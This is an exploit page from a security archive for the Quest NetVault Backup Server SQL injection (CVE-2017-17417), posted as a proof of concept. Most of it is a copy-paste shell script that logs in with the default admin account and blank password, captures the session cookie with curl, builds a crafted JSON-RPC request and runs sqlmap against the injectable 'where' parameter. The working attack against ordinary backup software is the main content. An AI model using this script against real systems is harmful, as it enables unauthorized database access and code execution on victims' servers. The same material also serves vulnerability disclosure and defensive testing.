exploit the possibilities

Quest NetVault Backup Server Code Execution / SQL Injection

Quest NetVault Backup Server Code Execution / SQL Injection
Posted Feb 22, 2019
Authored by rgod, Chris Anastasio

Quest NetVault Backup Server versions prior to 11.4.5 suffer from process manager service SQL injection and remote code execution vulnerabilities.

tags | exploit, remote, vulnerability, code execution, sql injection
advisories | CVE-2017-17417
MD5 | 4f000d15da674df9aa20ea5e062d99c2

Quest NetVault Backup Server Code Execution / SQL Injection

Change Mirror Download
# Exploit Title: Quest NetVault Backup Server < 11.4.5 Process Manager Service SQL Injection Remote Code Execution Vulnerability (ZDI-17-982)
# Date: 2-21-2019
# Exploit Author: credit goes to rgod for finding the bug
# Version: Quest NetVault Backup Server < 11.4.5
# CVE : CVE-2017-17417

# There is a decent description of the bug here: https://www.zerodayinitiative.com/advisories/ZDI-17-982/
# but no PoC, hence this submission. Also the description states that authentication is not required.
# I did not find the auth bypass, but the target was using default credz
# of admin and a blank password.
#
# "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
# of Quest NetVault Backup. Authentication is not required to exploit this vulnerability.
#
# The specific flaw exists within the handling of NVBUPhaseStatus Acknowledge method requests.
# The issue results from the lack of proper validation of a
# user-supplied string before using it to construct SQL queries. An attacker can leverage this
# vulnerability to execute code in the context of the underlying database."



# Fill out the variables then copy paste everything below this line into a kali terminal

#target ip address
target=x.x.x.x

#target port
port=8443

#username
username=admin

#password is blank by default!
password=
cookie=$(curl -i -s -k -X $'POST' -H $'Content-Length: 109' -H $'Content-Type: application/json-rpc; charset=UTF-8' --data-binary "{\"jsonrpc\":\"2.0\",\"method\":\"Logon\",\"params\":{\"OutputFormat\":\"pretty\",\"UserName\":\"$username\",\"Password\":\"$password\"},\"id\":1}" "https://$target:$port/query" | grep SessionCookie | cut -d '"' -f4)
cat > dellSqlmap <<EOF
POST /query HTTP/1.1
Host: $target:$port
Connection: close
Content-Length: 129
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
SessionCookie: $cookie
Content-Type: application/json-rpc; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"jsonrpc":"2.0","method":"GET","params":{"classname":"NVBUPhaseStatus","updates":"none","where":"1=1*"},"id":1}
EOF
sqlmap -r dellSqlmap --force-ssl --level=5 --dbms=postgresql --prefix='' --suffix='' --test-filter='AND boolean-based blind - WHERE or HAVING clause' --batch

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    2 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close